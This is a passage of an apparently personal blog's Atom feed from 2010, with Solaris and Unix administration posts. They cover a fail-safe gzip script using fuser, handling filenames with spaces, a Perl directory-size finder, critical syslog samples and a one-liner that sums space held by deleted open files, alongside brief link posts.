&lt;p&gt;
In Solaris, you can use &lt;code&gt;fuser&lt;/code&gt; to check what processes are currently holding on to the file.
&lt;p&gt;
Below script is a fail-safe version to gzip file that has no process holding on to the file.
&lt;p&gt;
&lt;pre&gt;
#! /bin/ksh
#
# gzip those files that no process is holding on to it
#


PATH=/usr/bin:/bin:/usr/sbin


usage()
{
        echo "Usage: $0 -n &amp;lt;name&amp;gt; [-d &amp;lt;dir&amp;gt;] [-b] [-e] [-[1-9]]"
        echo "       -n &amp;lt;name&amp;gt;: part of the file name"
        echo "       -d &amp;lt;dir&amp;gt; : directory to search, default to current"
        echo "       -b       : begins with the &amp;lt;name&amp;gt;"
        echo "       -e       : ends with the &amp;lt;name&amp;gt;"
        echo "       -1 .. -9 : gzip compression flag, default to -6"
}


set -- `getopt n:d:be123456789 $*`
if [ $? != 0 ]; then
        usage
        exit 1
fi


finddir="."
gzip="-6"
for i in $*
do
        case $i in
        -n)
                name=$2
                findname="*${name}*"
                shift 2
                ;;
        -d)
                finddir=$2
                shift 2
                ;;
        -b)
                findname="${name}*"
                shift
                ;;
        -e)
                findname="*${name}"
                shift
                ;;
        -[1-9])
                gzip="$i"
                shift
                ;;
        esac
done


#
# checking
#
if [ -z $findname ]; then
        usage
        exit 2
fi
if [ ! -d $finddir ]; then
        echo "Error. $finddir does not exist"
        exit 3
fi


find $finddir -name "$findname" -type f 2&amp;gt;/dev/null | while read f
do
        pids=`fuser -u $f 2&amp;gt;/dev/null`
        if [ -z $pids ]; then
                echo "Running $gzip $f ... \c"
                gzip $gzip "$f"
                echo OK
        fi
done
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1877644447391264179?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1877644447391264179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1877644447391264179' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1877644447391264179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1877644447391264179'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/08/failsafe-gzip.html' title='Failsafe gzip'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2799113801197854057</id><published>2010-07-31T23:15:00.002+08:00</published><updated>2010-07-31T23:21:22.081+08:00</updated><title type='text'>Bryan Cantrill is with Joyent</title><content type='html'>&lt;a href="http://www.joyent.com/"&gt;Joyent&lt;/a&gt; has &lt;a href="http://www.joyent.com/2010/07/joyent-names-bryan-cantrill-vice-president-of-engineering/"&gt;announced&lt;/a&gt; Bryan Cantrill as VP of engineering.
&lt;p&gt;
Bryan &lt;a href="http://dtrace.org/blogs/bmc/2010/07/30/hello-joyent/"&gt;talked&lt;/a&gt; about why he joined Joyent.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2799113801197854057?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2799113801197854057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2799113801197854057' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2799113801197854057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2799113801197854057'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/07/bryan-cantrill-is-with-joyent.html' title='Bryan Cantrill is with Joyent'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-489865430426278424</id><published>2010-07-29T23:26:00.003+08:00</published><updated>2010-07-30T00:13:13.004+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Filenames With Spaces</title><content type='html'>Filename with space may be okay in Windows environment, but not for UNIX. Recently I encountered a lot of partial backup due to filenames ended with space(s). You will be surprised to see the kind of files the user created or transferred from Windows to UNIX and I &lt;a href="http://chihungchan.blogspot.com/2009/05/highlight-those-files-with-space-and.html"&gt;blogged&lt;/a&gt; about it a year ago.
&lt;p&gt;
To be able to evenly split the backup streams into roughly equal amount of size, my script uses &lt;code&gt;find /some/dir -mount -type f -ls&lt;/code&gt; to generate the file list. The output will then be piped to a while loop to sum up the file size. However, shell will auto-collapse white space into a single space if you do not quote the variable. Although quoting variable is able to preserve white spaces, it will not be able to tackle filename ends with space
&lt;p&gt;
By applying padding (I used "==" in my below test case) to the end of the filename, I am able to preserve the original filename. Simply truncate the padding before writing to file list will resolve all these white space issue.
&lt;p&gt;
BTW, my environment is running Solaris.
&lt;p&gt;
&lt;pre&gt;
$ touch 'a' 'b' 'c' ' start1space' '  start2space' '   start3space' \
        'mid 1space' 'mid  2space' 'mid   3space' \
        'end1space ' 'end2space  ' 'end3space   '

$ find . -type f -ls | while read x x x x x x x x x x filename
do
  echo --$filename--
done                               
--./a--
--./b--
--./c--
--./ start1space--
--./ start2space--
--./ start3space--
--./mid 1space--
--./mid 2space--
--./mid 3space--
--./end1space--
--./end2space--
--./end3space--

$ find . -type f -ls | while read x x x x x x x x x x filename
do
  echo "--$filename--"
done                             
--./a--
--./b--
--./c--
--./ start1space--
--./  start2space--
--./   start3space--
--./mid 1space--
--./mid  2space--
--./mid   3space--
--./end1space--
--./end2space--
--./end3space--

$ find . -type f -ls | sed 's/$/==/' | while read x x x x x x x x x x filename
do
  echo "--${filename%==}--"
done
--./a--
--./b--
--./c--
--./ start1space--
--./  start2space--
--./   start3space--
--./mid 1space--
--./mid  2space--
--./mid   3space--
--./end1space --
--./end2space  --
--./end3space   --
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-489865430426278424?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/489865430426278424/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=489865430426278424' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/489865430426278424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/489865430426278424'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/07/filenames-with-spaces.html' title='Filenames With Spaces'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7511871946868601521</id><published>2010-07-26T20:48:00.003+08:00</published><updated>2010-07-26T20:57:13.978+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Sun Set. That's Sad</title><content type='html'>With the departure of &lt;a href="http://blogs.sun.com/jag/entry/moving_my_blog"&gt;James Gosling&lt;/a&gt; (father of Java) in April this year, &lt;a href="http://blogs.sun.com/bmc/entry/good_bye_sun"&gt;Bryan Cantrill&lt;/a&gt; (father of DTrace) announced his departure in his blog. It is sad to see so many good people leaving Sun. That keep me thinking what Solaris will be in the future. Sad!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7511871946868601521?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7511871946868601521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7511871946868601521' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7511871946868601521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7511871946868601521'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/07/sun-set-thats-sad.html' title='Sun Set. That&apos;s Sad'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2079020317466726357</id><published>2010-07-24T13:56:00.002+08:00</published><updated>2010-07-24T13:59:57.067+08:00</updated><title type='text'>Too Much Money is Worse than Too Little</title><content type='html'>I just read &lt;a href="http://www.guykawasaki.com/"&gt;Guy Kawasaki&lt;/a&gt;'s recent article - &lt;a href="http://www.openforum.com/idea-hub/topics/the-world/article/why-too-much-money-is-worse-than-too-little-guy-kawasaki"&gt;Why Too Much Money is Worse than Too Little&lt;/a&gt; and I totally agreed with all his points.
&lt;p&gt;
So next time when you say "Money is not a problem", think again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2079020317466726357?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2079020317466726357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2079020317466726357' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2079020317466726357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2079020317466726357'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/07/too-much-money-is-worse-than-too-little.html' title='Too Much Money is Worse than Too Little'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1851215056773554045</id><published>2010-07-23T08:02:00.005+08:00</published><updated>2010-07-23T08:29:10.774+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Inspire'/><title type='text'>The surprising truth about what motivates us</title><content type='html'>Found this video from &lt;a href="http://milek.blogspot.com/"&gt;this site&lt;/a&gt;.
&lt;p&gt;
&lt;object width="640" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/u6XAPnuFjJc&amp;amp;hl=en_US&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/u6XAPnuFjJc&amp;amp;hl=en_US&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;
&lt;p&gt;
Wanna find out more videos, click &lt;a href="http://www.youtube.com/user/theRSAorg"&gt;here&lt;/a&gt; and  &lt;a href="http://www.cognitivemedia.co.uk/wp/"&gt;Congnitive Media&lt;/a&gt;. (Just found out that they did a &lt;a href="http://www.cognitivemedia.co.uk/wp/?attachment_id=209"&gt;visual presentation for Arup&lt;/a&gt;, that's my ex-company - &lt;a href="http://www.arup.com/"&gt;Ove Arup&lt;/a&gt;, where I started my first IT job as an Engineering Analyst developing civil/structural engineering software. That was 1989, 21 years ago)
&lt;p&gt;
As you can see, visual presentation is one damn power tool. See my &lt;a href="http://chihungchan.blogspot.com/2008/08/malware-explained-in-napkin.html"&gt;practise on the back of a napkin&lt;/a&gt;. FYI, I just finished reading the "2nd version" of the napkin book - &lt;a href="http://digitalroam.typepad.com/digital_roam/2009/12/unfolding-the-napkin-is-available.html"&gt;Unfolding the Napkin&lt;/a&gt;. Both books are available in our &lt;a href="http://pl.sg/"&gt;public library&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1851215056773554045?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1851215056773554045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1851215056773554045' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1851215056773554045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1851215056773554045'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/07/surprising-truth-about-what-motivates.html' title='The surprising truth about what motivates us'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3653720324799626369</id><published>2010-07-16T21:42:00.007+08:00</published><updated>2010-07-16T23:47:06.800+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><title type='text'>One Million Files in A Directory Under Veritas File System</title><content type='html'>Recently my backup ran really really slow with a throughput of 50KBps. With such a low throughput, I was not able to finish it within the backup window. After some investigations, I realised that there is a directory comprises of close to 1 million files. It literally takes minutes to do a "ls -l".
&lt;p&gt;
Although file system allows you have that many files, it will be extremely inefficient for other downstream activities.
&lt;p&gt;
It will be a challenge to locate the problematic directory if you were to use shell script. Other scripting languages such as &lt;a href="http://www.perl.com/"&gt;Perl&lt;/a&gt; will be more appropriate. With &lt;code&gt;find2perl&lt;/code&gt; utility that comes with standard perl installation, you can get it to generate equilvant find command in perl
&lt;pre&gt;
$ find2perl /usr/include -type d
#! /usr/bin/perl -w
    eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
        if 0; #$running_under_some_shell

use strict;
use File::Find ();

# Set the variable $File::Find::dont_use_nlink if you're using AFS,
# since AFS cheats.

# for the convenience of &amp;wanted calls, including -eval statements:
use vars qw/*name *dir *prune/;
*name   = *File::Find::name;
*dir    = *File::Find::dir;
*prune  = *File::Find::prune;

sub wanted;



# Traverse desired filesystems
File::Find::find({wanted =&gt; \&amp;wanted}, '/usr/include');
exit;


sub wanted {
    my ($dev,$ino,$mode,$nlink,$uid,$gid);

    (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &amp;&amp;
    -d _
    &amp;&amp; print("$name\n");
}
&lt;/pre&gt;

With this skeleton code, I am able to modify it to help to locate sub-directory with the most items
&lt;pre&gt;
#! /usr/bin/perl


use strict;
use File::Find ();
use Cwd 'abs_path';


# Set the variable $File::Find::dont_use_nlink if you're using AFS,
# since AFS cheats.

# for the convenience of &amp;wanted calls, including -eval statements:
use vars qw/*name *dir *prune/;
*name   = *File::Find::name;
*dir    = *File::Find::dir;
*prune  = *File::Find::prune;


my $max = 0;
my $maxpath;


sub wanted;


my $searchdir;
if ( $#ARGV == -1 ) {
        $searchdir=".";
} else {
        $searchdir=$ARGV[0];
}



# Traverse desired filesystems
File::Find::find({wanted =&gt; \&amp;wanted}, $searchdir);
print $maxpath, ' ', $max, "\n";
exit;


sub wanted {
        my ($dev,$ino,$mode,$nlink,$uid,$gid);

        my $file;
        my $count=0;
        if ( (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &amp;&amp; -d _ )
{
                opendir(DIR, $_);
                while (defined($file=readdir(DIR))) {
                        ++$count;
                }
                closedir(DIR);
                if ( $count &gt; $max ) {
                        $max = $count;
                        $maxpath = abs_path($_);
                }
        }
}
&lt;/pre&gt;

If I run on my Ubuntu 10.04 Netbook Edition /usr/share directory, it will tell me /usr/share/foomatic/db/source/printer has 3258 files (include . and ..)
&lt;pre&gt;
$ ./files-in-directory-max.pl /usr/share
/usr/share/foomatic/db/source/printer 3258
&lt;/pre&gt;
&lt;p&gt;
So, what will be the maximum number of files in a directory under vxfs ? I found this using Google:&lt;br&gt;
&lt;a href="http://seer.entsupport.symantec.com/docs/337952.htm"&gt;Recommended maximum number of files in a single Veritas File System (VxFS) directory is 100,000&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3653720324799626369?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3653720324799626369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3653720324799626369' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3653720324799626369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3653720324799626369'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/07/one-million-files-in-directory.html' title='One Million Files in A Directory Under Veritas File System'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-198123958533702383</id><published>2010-06-24T00:08:00.002+08:00</published><updated>2010-06-24T00:19:33.021+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><title type='text'>Exploring The Software Behind Facebook</title><content type='html'>Just blogged about &lt;a href="http://royal.pingdom.com/2010/06/18/the-software-behind-facebook/"&gt;Exploring the software behind Facebook, the world’s largest site&lt;/a&gt; in my &lt;a href="http://yet-another-link-link.blogspot.com/"&gt;YALL&lt;/a&gt;. I think the article is a must-read for those who are interested in scalability.
&lt;p&gt;
Here is a summary links of some of the tools used
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://memcached.org/"&gt;Memcached&lt;/a&gt;, distributed memory caching system
&lt;li&gt;&lt;a href="http://wiki.github.com/facebook/hiphop-php/"&gt;HipHop&lt;/a&gt;, convert PHP to C++
&lt;li&gt;&lt;a href="http://www.facebook.com/note.php?note_id=76191543919"&gt;Haystack&lt;/a&gt;, high performance object store
&lt;li&gt;&lt;a href="http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919"&gt;BigPipe&lt;/a&gt;, dynamic web page serving system
&lt;li&gt;&lt;a href="http://cassandra.apache.org/"&gt;Cassandra&lt;/a&gt;, distributed storage system with no single point of failure.
&lt;li&gt;&lt;a href="http://github.com/facebook/scribe"&gt;Scribe&lt;/a&gt;, flexible logging system
&lt;li&gt;&lt;a href="http://hadoop.apache.org/"&gt;Hadoop&lt;/a&gt;, open-source map-reduce implementation
&lt;li&gt;&lt;a href="http://incubator.apache.org/thrift/"&gt;Thrift&lt;/a&gt;, cross-language framework that ties all of these different languages together
&lt;li&gt;&lt;a href="http://varnish-cache.org/"&gt;Varnish&lt;/a&gt;, HTTP accelerator which can act as a load balancer and also cache content
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-198123958533702383?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/198123958533702383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=198123958533702383' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/198123958533702383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/198123958533702383'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/06/exploring-software-behind-facebook.html' title='Exploring The Software Behind Facebook'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-654527360918439216</id><published>2010-05-28T00:13:00.005+08:00</published><updated>2011-03-02T16:49:39.604+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='syslog'/><title type='text'>Sample Critical Syslog</title><content type='html'>I implemented a central syslog server for my customer and below is a list of critical syslog output that may cause production impact if we do not deal with it immediately. Auto-SMS alert has been in place to inform the staff if any of these messages appear in the syslog.
&lt;pre&gt;
Aug 30 12:07:27 uxhost1 lpfc: [ID 728700 kern.warning] WARNING: lpfc1:1305:LKe:Link Down Event x2 received Data: x2 x20 x48
Dec 29 13:33:47 uxhost1 rmclomv: [ID 974757 kern.error] PSU @ PS1 has FAILED.
Jun 17 08:16:11 uxhost2 savecore: [ID 570001 auth.error] reboot after panic: BAD TRAP: type=9 rp=2a1036c9280 addr =0 mmu_fsr=0
Dec 30 07:50:03 uxhost1 picld[104]: [ID 498155 daemon.error] Device PS0 AC UNAVAILABLE
Jun 17 08:16:11 uxhost8 savecore: [ID 748169 auth.error] saving system crash dump in /var/crash/uxhost8/*.0
Jan  2 19:00:34 uxhost3 vxvm:vxconfigd: [ID 594842 daemon.error] V-5-1-8645 Error in claiming /dev/rdsk/c8t16d0s2 by NR list: I/O error
Jul 23 23:08:21 uxhost8 fmd: [ID 441519 daemon.error] SUNW-MSG-ID: SUN4U-8000-XJ, TYPE: Fault, VER: 1, SEVERITY: Major
Apr 16 18:12:36 uxhost5 fmd: [ID 441519 daemon.error] SUNW-MSG-ID: PCIEX-8000-3S, TYPE: Fault, VER: 1, SEVERITY: Critical
Dec  9 06:55:05 uxhost7 @BINDIR@/ssh[10258]: [ID 800047 user.crit] fatal Disconnected: Protocol error (Too many authentication failures for myuser)
Jan  3 11:06:53 uxhost5 sshd2[7473]: [ID 702911 auth.error] auths-pam: PAM subprocess returned packet SSH_PAM_OP_ERROR. (err_num: 9, err_msg: Authent
ication failed).
Dec 17 19:47:48 uxhost2 sshd2[13338]: [ID 702911 auth.error] FATAL ERROR: Forced command `/usr/bin/passwd' exited uncleanly, closing connection.
Dec 19 15:52:24 uxhost8 DESC: A ZFS device failed.  Refer to http://sun.com/msg/ZFS-8000-D3 for more information.
Dec 19 15:52:24 uxhost8 REC-ACTION: Run 'zpool status -x' and replace the bad device.
Jul 28 16:19:21 uxhost1 ufs: [ID 845546 kern.notice] NOTICE: alloc: /app: file system full
Jul 28 16:19:17 uxhost1 ufs: [ID 213553 kern.notice] NOTICE: realloccg /app: file system full
Oct 23 06:30:12 uxhost1 root: [ID 702911 daemon.alert] Hard limit exceeded on all filesystems. (count=1215)
Oct 23 10:28:38 uxhost1 root: [ID 702911 daemon.alert] The audit_warn mail alias is not defined
Feb 16 14:50:39 uxhost8 lw8: [ID 792743 kern.error] /N0/SB2 reported ECC error
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-654527360918439216?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/654527360918439216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=654527360918439216' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/654527360918439216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/654527360918439216'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/sample-critical-syslog.html' title='Sample Critical Syslog'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6886701859291223307</id><published>2010-05-27T23:55:00.004+08:00</published><updated>2010-05-29T10:08:45.570+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Link Count Of Zero</title><content type='html'>Met up with some clever guys yesterday and they made me think how Solaris treat deleted files which are still open. We know that if we hard link files in the same file system, it will increment the link count. Do you know that if you delete an open file (with link count of 1), the link count will be become zero (decrement by one). Since the file handler is still open, the kernel will not release those space occupied by the file. So, if you were to do a &lt;code&gt;ls -al&lt;/code&gt;, you will see the link count of zero.
&lt;p&gt;
To efficiently finding how much space has been taken up by these deleted open files, the below one-liner is able to extract that from &lt;code&gt;find&lt;/code&gt; and summaries it by AWK. Here is the output from one of my systems.
&lt;pre&gt;
# find /proc/*/fd -type f -links 0 -ls | awk '{s+=$7}END{print s}'
159783
&lt;/pre&gt;
&lt;p&gt;
This &lt;a href="http://www.unix.com/solaris/31985-no-space-left-device.html"&gt;link&lt;/a&gt; explained very clearly how the situation come about.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6886701859291223307?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6886701859291223307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6886701859291223307' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6886701859291223307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6886701859291223307'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/link-count-of-zero.html' title='Link Count Of Zero'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-9067240006330570835</id><published>2010-05-21T22:38:00.002+08:00</published><updated>2010-05-21T22:41:20.467+08:00</updated><title type='text'>Started A New Blog As Bookmark</title><content type='html'>Do visit my new blog at &lt;a href="http://yet-another-link-link.blogspot.com/"&gt;Yet Another Link Link&lt;/a&gt;, just a place to keep my links&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-9067240006330570835?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/9067240006330570835/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=9067240006330570835' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/9067240006330570835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/9067240006330570835'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/started-new-blog-as-bookmark.html' title='Started A New Blog As Bookmark'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-467317644122499373</id><published>2010-05-21T21:43:00.003+08:00</published><updated>2010-05-21T21:49:48.688+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Papers from Web 2.0 Security and Privacy 2010</title><content type='html'>&lt;a href="http://www.schneier.com/"&gt;Bruce Schneier&lt;/a&gt; posted &lt;a href="http://www.schneier.com/blog/archives/2010/05/detecting_brows.html"&gt;Detecting Browser History&lt;/a&gt;. It also linked to one of the papers.
&lt;p&gt;
If you are interested in finding out all the papers in this conference, I blogged about &lt;a href="http://chihungchan.blogspot.com/2008/08/how-to-use-google.html"&gt;how to use google&lt;/a&gt;. Here is the search string&lt;br&gt;
&lt;code&gt;site:w2spconf.com inurl:2010 inurl:papers filetype:pdf&lt;/code&gt;
&lt;p&gt;
Or this &lt;a href="http://www.google.com.sg/search?q=site%3Aw2spconf.com+inurl%3A2010+inurl%3Apapers+filetype%3Apdf&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a"&gt;direct link&lt;/a&gt;. I found 14 of them.
